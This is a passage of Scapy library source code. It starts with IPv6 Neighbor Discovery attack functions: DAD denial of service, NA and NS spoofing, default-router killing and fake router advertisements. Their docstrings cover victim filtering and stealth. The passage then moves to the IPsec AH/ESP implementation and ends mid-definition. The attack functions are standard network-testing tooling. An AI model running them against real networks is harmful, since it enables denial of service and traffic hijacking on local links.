tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NS sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the unspecified address (::). - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. """ def ns_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS by sending a similar NS """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt) # noqa: E501 sendp(rep, iface=iface, verbose=0) print("Reply NS for target address %s (received from %s)" % (tgt, mac)) _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac) def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address found in received NS. - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option. """ def na_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS with a NA """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst) rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) # noqa: E741 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) sendp(rep, iface=iface, verbose=0) print("Reply NA for target address %s (received from %s)" % (tgt, mac)) _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac) def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False): """ The main purpose of this function is to send fake Neighbor Advertisement messages to a victim. As the emission of unsolicited Neighbor Advertisement is pretty pointless (from an attacker standpoint) because it will not lead to a modification of a victim's neighbor cache, the function send advertisements in response to received NS (NS sent as part of the DAD, i.e. with an unspecified address as source, are not considered). By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address - as IPv6 destination address: the source IPv6 address of received NS message. - the mac address of the interface as source (or reply_mac, see below). - the source mac address of the received NS as destination macs address of the emitted NA. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option. router: by the default (False) the 'R' flag in the NA used for the reply is not set. If the parameter is set to True, the 'R' flag in the NA is set, advertising us as a router. Please, keep the following in mind when using the function: for obvious reasons (kernel space vs. Python speed), when the target of the address resolution is on the link, the sender of the NS receives 2 NA messages in a row, the valid one and our fake one. The second one will overwrite the information provided by the first one, i.e. the natural latency of Scapy helps here. In practice, on a common Ethernet link, the emission of the NA from the genuine target (kernel stack) usually occurs in the same millisecond as the receipt of the NS. The NA generated by Scapy6 will usually come after something 20+ ms. On a usual testbed for instance, this difference is sufficient to have the first data packet sent from the victim to the destination before it even receives our fake NA. """ def is_request(req, mac_src_filter, tgt_filter): """ Check if packet req is a request """ # Those simple checks are based on Section 5.4.2 of RFC 4862 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 # Source must NOT be the unspecified address if req[IPv6].src == "::": return 0 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) if tgt_filter and tgt != tgt_filter: return 0 dst = req[IPv6].dst if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. # If this is a real address resolution NS, then the destination # address of the packet is the link-local solicited node multicast # address associated with the target of the NS. # Otherwise, the NS is a NUD related one, i.e. the peer is # unicasting the NS to check the target is still alive (L2 # information is still in its cache and it is verified) received_snma = inet_pton(socket.AF_INET6, dst) expected_snma = in6_getnsma(tgt) if received_snma != expected_snma: print("solicited node multicast @ does not match target @!") return 0 return 1 def reply_callback(req, reply_mac, router, iface): """ Callback that reply to a NS with a spoofed NA """ # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and # send it back. mac = req[Ether].src pkt = req[IPv6] src = pkt.src tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src) # Use the target field from the NS rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # noqa: E741 # "If the solicitation IP Destination Address is not a multicast # address, the Target Link-Layer Address option MAY be omitted" # Given our purpose, we always include it. rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) sendp(rep, iface=iface, verbose=0) print("Reply NA for target address %s (received from %s)" % (tgt, mac)) if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac router = 1 if router else 0 # Value of the R flags in NA sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), prn=lambda x: reply_callback(x, reply_mac, router, iface), iface=iface) def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None): """ The main purpose of this function is to send fake Neighbor Solicitations messages to a victim, in order to either create a new entry in its neighbor cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated that a node SHOULD create the entry or update an existing one (if it is not currently performing DAD for the target of the NS). The entry's reachability # noqa: E501 state is set to STALE. The two main parameters of the function are the source link-layer address (carried by the Source Link-Layer Address option in the NS) and the source address of the packet. Unlike some other NDP_Attack_* function, this one is not based on a stimulus/response model. When called, it sends the same NS packet in loop every second (the default) Following arguments can be used to change the format of the packets: src_lladdr: the MAC address used in the Source Link-Layer Address option included in the NS packet. This is the address that the peer should associate in its neighbor cache with the IPv6 source address of the packet. If None is provided, the mac address of the interface is used. src: the IPv6 address used as source of the packet. If None is provided, an address associated with the emitting interface will be used (based on the destination address of the packet). target: the target address of the NS packet. If no value is provided, a dummy address (2001:db8::1) is used. The value of the target has a direct impact on the destination address of the packet if it is not overridden. By default, the solicited-node multicast address associated with the target is used as destination address of the packet. Consider specifying a specific destination address if you intend to use a target address different than the one of the victim. dst: The destination address of the NS. By default, the solicited node multicast address associated with the target address (see previous parameter) is used if no specific value is provided. The victim is not expected to check the destination address of the packet, so using a multicast address like ff02::1 should work if you want the attack to target all hosts on the link. On the contrary, if you want to be more stealth, you should provide the target address for this parameter in order for the packet to be sent only to the victim. src_mac: the MAC address used as source of the packet. By default, this is the address of the interface. If you want to be more stealth, feel free to use something else. Note that this address is not the that the victim will use to populate its neighbor cache. dst_mac: The MAC address used as destination address of the packet. If the IPv6 destination address is multicast (all-nodes, solicited node, ...), it will be computed. If the destination address is unicast, a neighbor solicitation will be performed to get the associated address. If you want the attack to be stealth, you can provide the MAC address using this parameter. loop: By default, this parameter is True, indicating that NS packets will be sent in loop, separated by 'inter' seconds (see below). When set to False, a single packet is sent. inter: When loop parameter is True (the default), this parameter provides the interval in seconds used for sending NS packets. iface: to force the sending interface. """ if not iface: iface = conf.iface # Use provided MAC address as source link-layer address option # or the MAC address of the interface if none is provided. if not src_lladdr: src_lladdr = get_if_hwaddr(iface) # Prepare packets parameters ether_params = {} if src_mac: ether_params["src"] = src_mac if dst_mac: ether_params["dst"] = dst_mac ipv6_params = {} if src: ipv6_params["src"] = src if dst: ipv6_params["dst"] = dst else: # Compute the solicited-node multicast address # associated with the target address. tmp = inet_ntop(socket.AF_INET6, in6_getnsma(inet_pton(socket.AF_INET6, target))) ipv6_params["dst"] = tmp pkt = Ether(**ether_params) pkt /= IPv6(**ipv6_params) pkt /= ICMPv6ND_NS(tgt=target) pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None): """ The purpose of the function is to monitor incoming RA messages sent by default routers (RA with a non-zero Router Lifetime values) and invalidate them by immediately replying with fake RA messages advertising a zero Router Lifetime value. The result on receivers is that the router is immediately invalidated, i.e. the associated entry is discarded from the default router list and destination cache is updated to reflect the change. By default, the function considers all RA messages with a non-zero Router Lifetime value but provides configuration knobs to allow filtering RA sent by specific routers (Ethernet source address). With regard to emission, the multicast all-nodes address is used by default but a specific target can be used, in order for the DoS to apply only to a specific host. More precisely, following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only RA messages received from this source will trigger replies. If other default routers advertised their presence on the link, their clients will not be impacted by the attack. The default value is None: the DoS is not limited to a specific mac address. ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter on. Only RA messages received from this source address will trigger replies. If other default routers advertised their presence on the link, their clients will not be impacted by the attack. The default value is None: the DoS is not limited to a specific IPv6 source address. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. tgt_mac: allow limiting the effect of the DoS to a specific host, by sending the "invalidating RA" only to its mac address. """ def is_request(req, mac_src_filter, ip_src_filter): """ Check if packet req is a request """ if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 ip_src = req[IPv6].src if ip_src_filter and ip_src != ip_src_filter: return 0 # Check if this is an advertisement for a Default Router # by looking at Router Lifetime value if req[ICMPv6ND_RA].routerlifetime == 0: return 0 return 1 def ra_reply_callback(req, reply_mac, tgt_mac, iface): """ Callback that sends an RA with a 0 lifetime """ # Let's build a reply and send it src = req[IPv6].src # Prepare packets parameters ether_params = {} if reply_mac: ether_params["src"] = reply_mac if tgt_mac: ether_params["dst"] = tgt_mac # Basis of fake RA (high pref, zero lifetime) rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1") rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) # Add it a PIO from the request ... tmp = req while ICMPv6NDOptPrefixInfo in tmp: pio = tmp[ICMPv6NDOptPrefixInfo] tmp = pio.payload del pio.payload rep /= pio # ... and source link layer address option if ICMPv6NDOptSrcLLAddr in req: mac = req[ICMPv6NDOptSrcLLAddr].lladdr else: mac = req[Ether].src rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) sendp(rep, iface=iface, verbose=0) print("Fake RA sent with source address %s" % src) if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), iface=iface) def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None): """ The purpose of this function is to send provided RA message at layer 2 (i.e. providing a packet starting with IPv6 will not work) in response to received RS messages. In the end, the function is a simple wrapper around sendp() that monitor the link for RS messages. It is probably better explained with an example: >>> ra = Ether()/IPv6()/ICMPv6ND_RA() >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") >>> NDP_Attack_Fake_Router(ra, iface="eth0") Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae ... Following arguments can be used to change the behavior: ra: the RA message to send in response to received RS message. iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If none is provided, conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only RS messages received from this source will trigger a reply. Note that no changes to provided RA is done which imply that if you intend to target only the source of the RS using this option, you will have to set the Ethernet destination address to the same value in your RA. The default value for this parameter is None: no filtering on the source of RS is done. ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter on. Only RS messages received from this source address will trigger replies. Same comment as for previous argument apply: if you use the option, you will probably want to set a specific Ethernet destination address in the RA. """ def is_request(req, mac_src_filter, ip_src_filter): """ Check if packet req is a request """ if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): return 0 mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 ip_src = req[IPv6].src if ip_src_filter and ip_src != ip_src_filter: return 0 return 1 def ra_reply_callback(req, iface): """ Callback that sends an RA in reply to an RS """ src = req[IPv6].src sendp(ra, iface=iface, verbose=0) print("Fake RA sent in response to RS from %s" % src) if not iface: iface = conf.iface sniff_filter = "icmp6" sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), prn=lambda x: ra_reply_callback(x, iface), iface=iface) ############################################################################# # Pre-load classes ## ############################################################################# def _get_cls(name): return globals().get(name, Raw) def _load_dict(d): for k, v in d.items(): d[k] = _get_cls(v) _load_dict(icmp6ndoptscls) _load_dict(icmp6typescls) _load_dict(ipv6nhcls) ############################################################################# ############################################################################# # Layers binding # ############################################################################# ############################################################################# conf.l3types.register(ETH_P_IPV6, IPv6) conf.l3types.register_num2layer(ETH_P_ALL, IPv46) conf.l2types.register(31, IPv6) conf.l2types.register(DLT_IPV6, IPv6) conf.l2types.register(DLT_RAW, IPv46) conf.l2types.register_num2layer(DLT_RAW_ALT, IPv46) if OPENBSD: conf.l2types.register_num2layer(229, IPv6) bind_layers(Ether, IPv6, type=0x86dd) bind_layers(CookedLinux, IPv6, proto=0x86dd) bind_layers(GRE, IPv6, proto=0x86dd) bind_layers(SNAP, IPv6, code=0x86dd) # AF_INET6 values are platform-dependent. For a detailed explaination, read # https://github.com/the-tcpdump-group/libpcap/blob/f98637ad7f086a34c4027339c9639ae1ef842df3/gencode.c#L3333-L3354 # noqa: E501 if WINDOWS: bind_layers(Loopback, IPv6, type=0x18) else: bind_layers(Loopback, IPv6, type=socket.AF_INET6) bind_layers(IPerror6, TCPerror, nh=socket.IPPROTO_TCP) bind_layers(IPerror6, UDPerror, nh=socket.IPPROTO_UDP) bind_layers(IPv6, TCP, nh=socket.IPPROTO_TCP) bind_layers(IPv6, UDP, nh=socket.IPPROTO_UDP) bind_layers(IP, IPv6, proto=socket.IPPROTO_IPV6) bind_layers(IPv6, IPv6, nh=socket.IPPROTO_IPV6) bind_layers(IPv6, IP, nh=socket.IPPROTO_IPIP) bind_layers(IPv6, GRE, nh=socket.IPPROTO_GRE) ================================================ FILE: scapy/layers/ipsec.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2014 6WIND r""" IPsec layer =========== Example of use: >>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC', ... crypt_key=b'sixteenbytes key') >>> p = IP(src='1.1.1.1', dst='2.2.2.2') >>> p /= TCP(sport=45012, dport=80) >>> p /= Raw('testdata') >>> p = IP(raw(p)) >>> p >> # noqa: E501 >>> >>> e = sa.encrypt(p) >>> e > # noqa: E501 >>> >>> d = sa.decrypt(e) >>> d >> # noqa: E501 >>> >>> d == p True """ try: from math import gcd except ImportError: from fractions import gcd import os import socket import struct import warnings from scapy.config import conf, crypto_validator from scapy.compat import orb, raw from scapy.data import IP_PROTOS from scapy.error import log_loading from scapy.fields import ( ByteEnumField, ByteField, IntField, PacketField, ShortField, StrField, XByteField, XIntField, XStrField, XStrLenField, ) from scapy.packet import ( Packet, Raw, bind_bottom_up, bind_layers, bind_top_down, ) from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6, IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt, \ IPv6ExtHdrRouting ############################################################################### class AH(Packet): """ Authentication Header See https://tools.ietf.org/rfc/rfc4302.txt """ name = 'AH' def __get_icv_len(self): """ Compute the size of the ICV based on the payloadlen field. Padding size is included as it can only be known from the authentication # noqa: E501 algorithm provided by the Security Association. """ # payloadlen = length of AH in 32-bit words (4-byte units), minus "2" # payloadlen = 3 32-bit word fixed fields + ICV + padding - 2 # ICV = (payloadlen + 2 - 3 - padding) in 32-bit words return (self.payloadlen - 1) * 4 fields_desc = [ ByteEnumField('nh', None, IP_PROTOS), ByteField('payloadlen', None), ShortField('reserved', None), XIntField('spi', 0x00000001), IntField('seq', 0), XStrLenField('icv', None, length_from=__get_icv_len), # Padding len can only be known with the SecurityAssociation.auth_algo XStrLenField('padding', None, length_from=lambda x: 0), ] overload_fields = { IP: {'proto': socket.IPPROTO_AH}, IPv6: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_AH}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_AH}, } bind_layers(IP, AH, proto=socket.IPPROTO_AH) bind_layers(IPv6, AH, nh=socket.IPPROTO_AH) bind_layers(AH, IP, nh=socket.IPPROTO_IP) bind_layers(AH, IPv6, nh=socket.IPPROTO_IPV6) ############################################################################### class ESP(Packet): """ Encapsulated Security Payload See https://tools.ietf.org/rfc/rfc4303.txt """ name = 'ESP' fields_desc = [ XIntField('spi', 0x00000001), IntField('seq', 0), XStrField('data', None), ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: if len(_pkt) >= 4 and struct.unpack("!I", _pkt[0:4])[0] == 0x00: return NON_ESP elif len(_pkt) == 1 and struct.unpack("!B", _pkt)[0] == 0xff: return NAT_KEEPALIVE else: return ESP return cls overload_fields = { IP: {'proto': socket.IPPROTO_ESP}, IPv6: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_ESP}, IPv6ExtHdrRouting: {'nh': socket.IPPROTO_ESP}, } class NON_ESP(Packet): # RFC 3948, section 2.2 fields_desc = [ XIntField("non_esp", 0x0) ] class NAT_KEEPALIVE(Packet): # RFC 3948, section 2.2 fields_desc = [ XByteField("nat_keepalive", 0xFF) ] bind_layers(IP, ESP, proto=socket.IPPROTO_ESP) bind_layers(IPv6, ESP, nh=socket.IPPROTO_ESP) # NAT-Traversal encapsulation bind_bottom_up(UDP, ESP, dport=4500) bind_bottom_up(UDP, ESP, sport=4500) bind_top_down(UDP, ESP, dport=4500, sport=4500) bind_top_down(UDP, NON_ESP, dport=4500, sport=4500) bind_top_down(UDP, NAT_KEEPALIVE, dport=4500, sport=4500) ############################################################################### class _ESPPlain(Packet): """ Internal class to represent unencrypted ESP packets. """ name = 'ESP' fields_desc = [ XIntField('spi', 0x0), IntField('seq', 0), StrField('iv', ''), PacketField('data', '', Raw), StrField('padding', ''), ByteField('padlen', 0), ByteEnumField('nh', 0, IP_PROTOS), StrField('icv', ''), ] def data_for_encryption(self): return raw(self.data) + self.padding + struct.pack("BB", self.padlen, self.nh) # noqa: E501 ############################################################################### if conf.crypto_valid: from cryptography.exceptions import InvalidTag from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import ( aead, Cipher, algorithms, modes, ) try: # cryptography > 43.0 from cryptography.hazmat.decrepit.ciphers import ( algorithms as decrepit_algorithms ) except ImportError: decrepit_algorithms = algorithms # cryptography's TripleDES can be used to simulate DES behavior DES = lambda key: decrepit_algorithms.TripleDES(key * 3) DES.key_sizes = decrepit_algorithms.TripleDES.key_sizes DES.block_size = decrepit_algorithms.TripleDES.block_size else: log_loading.info("Can't import python-cryptography v2.0+. " "Disabled IPsec encryption/authentication.") default_backend = None InvalidTag = Exception Cipher = algorithms = modes = DES = None ############################################################################### def _lcm(a, b): """ Least Common Multiple between 2 integers. """ if a == 0 or b == 0: return 0 else: return abs(a * b) // gcd(a, b) class CryptAlgo(object): """ IPsec encryption algorithm """ def __init__(self, name, cipher, mode, block_size=None, iv_size=None, key_size=None, icv_size=None, salt_size=None, format_mode_iv=None): # noqa: E501 """ :param name: the name of this encryption algorithm :param cipher: a Cipher module :param mode: the mode used with the cipher module :param block_size: the length a block for this algo. Defaults to the `block_size` of the cipher. :param iv_size: the length of the initialization vector of this algo. Defaults to the `block_size` of the cipher. :param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. :param icv_size: the length of the Integrity Check Value of this algo. Used by Combined Mode Algorithms e.g. GCM :param salt_size: the length of the salt to use as the IV prefix. Usually used by Counter modes e.g. CTR :param format_mode_iv: function to format the Initialization Vector e.g. handle the salt value Default is the random buffer from `generate_iv` """ self.name = name self.cipher = cipher self.mode = mode self.icv_size = icv_size self.is_aead = False # If using cryptography.hazmat.primitives.cipher.aead self.ciphers_aead_api = False if modes: if self.mode is not None: self.is_aead = issubclass(self.mode, modes.ModeWithAuthenticationTag) elif self.cipher in (aead.AESGCM, aead.AESCCM, aead.ChaCha20Poly1305): self.is_aead = True self.ciphers_aead_api = True if block_size is not None: self.block_size = block_size elif cipher is not None: self.block_size = cipher.block_size // 8 else: self.block_size = 1 if iv_size is None: self.iv_size = self.block_size else: self.iv_size = iv_size if key_size is not None: self.key_size = key_size elif cipher is not None: self.key_size = tuple(i // 8 for i in cipher.key_sizes) else: self.key_size = None if salt_size is None: self.salt_size = 0 else: self.salt_size = salt_size if format_mode_iv is None: self._format_mode_iv = lambda iv, **kw: iv else: self._format_mode_iv = format_mode_iv def check_key(self, key): """ Check that the key length is valid. :param key: a byte string """ if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size): # noqa: E501 raise TypeError('invalid key size %s, must be %s' % (len(key), self.key_size)) def generate_iv(self): """ Generate a random initialization vector. """ # XXX: Handle counter modes with real counters? RFCs allow the use of # XXX: random bytes for counters, so it is not wrong to do it that way return os.urandom(self.iv_size) @crypto_validator def new_cipher(self, key, mode_iv, digest=None): """ :param key: the secret key, a byte string :param mode_iv: the initialization vector or nonce, a byte string. Formatted by `format_mode_iv`. :param digest: also known as tag or icv. A byte string containing the digest of the encrypted data. Only use this during decryption! :returns: an initialized cipher object for this algo """ if self.is_aead and digest is not None: # With AEAD, the mode needs the digest during decryption. return Cipher( self.cipher(key), self.mode(mode_iv, digest, len(digest)), default_backend(), ) else: return Cipher( self.cipher(key), self.mode(mode_iv), default_backend(), ) def pad(self, esp): """ Add the correct amount of padding so that the data to encrypt is exactly a multiple of the algorithm's block size. Also, make sure that the total ESP packet length is a multiple of 4 bytes. :param esp: an unencrypted _ESPPlain packet :returns: an unencrypted _ESPPlain packet with valid padding """ # 2 extra bytes for padlen and nh data_len = len(esp.data) + 2 # according to the RFC4303, section 2.4. Padding (for Encryption) # the size of the ESP payload must be a multiple of 32 bits align = _lcm(self.block_size, 4) # pad for block size esp.padlen = -data_len % align # Still according to the RFC, the default value for padding *MUST* be an # noqa: E501 # array of bytes starting from 1 to padlen # TODO: Handle padding function according to the encryption algo esp.padding = struct.pack("B" * esp.padlen, *range(1, esp.padlen + 1)) # If the following test fails, it means that this algo does not comply # with the RFC payload_len = len(esp.iv) + len(esp.data) + len(esp.padding) + 2 if payload_len % 4 != 0: raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.') # noqa: E501 return esp def encrypt(self, sa, esp, key, icv_size=None, esn_en=False, esn=0): """ Encrypt an ESP packet :param sa: the SecurityAssociation associated with the ESP packet. :param esp: an unencrypted _ESPPlain packet with valid padding :param key: the secret key used for encryption :param icv_size: the length of the icv used for integrity check :esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :esn: extended sequence number (32 MSB) :return: a valid ESP packet encrypted with this algorithm """ if icv_size is None: icv_size = self.icv_size if self.is_aead else 0 data = esp.data_for_encryption() if self.cipher: mode_iv = self._format_mode_iv(algo=self, sa=sa, iv=esp.iv) aad = None if self.is_aead: if esn_en: aad = struct.pack('!LLL', esp.spi, esn, esp.seq) else: aad = struct.pack('!LL', esp.spi, esp.seq) if self.ciphers_aead_api: # New API if self.cipher == aead.AESCCM: cipher = self.cipher(key, tag_length=icv_size) else: cipher = self.cipher(key) if self.name == 'AES-NULL-GMAC': # Special case for GMAC (rfc 4543 sect 3) data = data + cipher.encrypt(mode_iv, b"", aad + esp.iv + data) else: data = cipher.encrypt(mode_iv, data, aad) else: cipher = self.new_cipher(key, mode_iv) encryptor = cipher.encryptor() if self.is_aead: encryptor.authenticate_additional_data(aad) data = encryptor.update(data) + encryptor.finalize() data += encryptor.tag[:icv_size] else: data = encryptor.update(data) + encryptor.finalize() return ESP(spi=esp.spi, seq=esp.seq, data=esp.iv + data) def decrypt(self, sa, esp, key, icv_size=None, esn_en=False, esn=0): """ Decrypt an ESP packet :param sa: the SecurityAssociation associated with the ESP packet. :param esp: an encrypted ESP packet :param key: the secret key used for encryption :param icv_size: the length of the icv used for integrity check :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) :returns: a valid ESP packet encrypted with this algorithm :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check fails with an AEAD algorithm """ if icv_size is None: icv_size = self.icv_size if self.is_aead else 0 iv = esp.data[:self.iv_size] data = esp.data[self.iv_size:len(esp.data) - icv_size] icv = esp.data[len(esp.data) - icv_size:] if self.cipher: mode_iv = self._format_mode_iv(sa=sa, iv=iv) aad = None if self.is_aead: if esn_en: aad = struct.pack('!LLL', esp.spi, esn, esp.seq) else: aad = struct.pack('!LL', esp.spi, esp.seq) if self.ciphers_aead_api: # New API if self.cipher == aead.AESCCM: cipher = self.cipher(key, tag_length=icv_size) else: cipher = self.cipher(key) try: if self.name == 'AES-NULL-GMAC': # Special case for GMAC (rfc 4543 sect 3) data = data + cipher.decrypt(mode_iv, icv, aad + iv + data) else: data = cipher.decrypt(mode_iv, data + icv, aad) except InvalidTag as err: raise IPSecIntegrityError(err) else: cipher = self.new_cipher(key, mode_iv, icv) decryptor = cipher.decryptor() if self.is_aead: # Tag value check is done during the finalize method decryptor.authenticate_additional_data(aad) try: data = decryptor.update(data) + decryptor.finalize() except InvalidTag as err: raise IPSecIntegrityError(err) # extract padlen and nh padlen = orb(data[-2]) nh = orb(data[-1]) # then use padlen to determine data and padding padding = data[len(data) - padlen - 2: len(data) - 2] data = data[:len(data) - padlen - 2] return _ESPPlain(spi=esp.spi, seq=esp.seq, iv=iv, data=data, padding=padding, padlen=padlen, nh=nh, icv=icv) ############################################################################### # The names of the encryption algorithms are the same than in scapy.contrib.ikev2 # noqa: E501 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml CRYPT_ALGOS = { 'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0), } if algorithms: CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC', cipher=algorithms.AES, mode=modes.CBC) _aes_ctr_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv + b'\x00\x00\x00\x01' # noqa: E501 CRYPT_ALGOS['AES-CTR'] = CryptAlgo('AES-CTR', cipher=algorithms.AES, mode=modes.CTR, block_size=1, iv_size=8, salt_size=4, format_mode_iv=_aes_ctr_format_mode_iv) _salt_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv CRYPT_ALGOS['AES-GCM'] = CryptAlgo('AES-GCM', cipher=aead.AESGCM, key_size=(16, 24, 32), mode=None, salt_size=4, 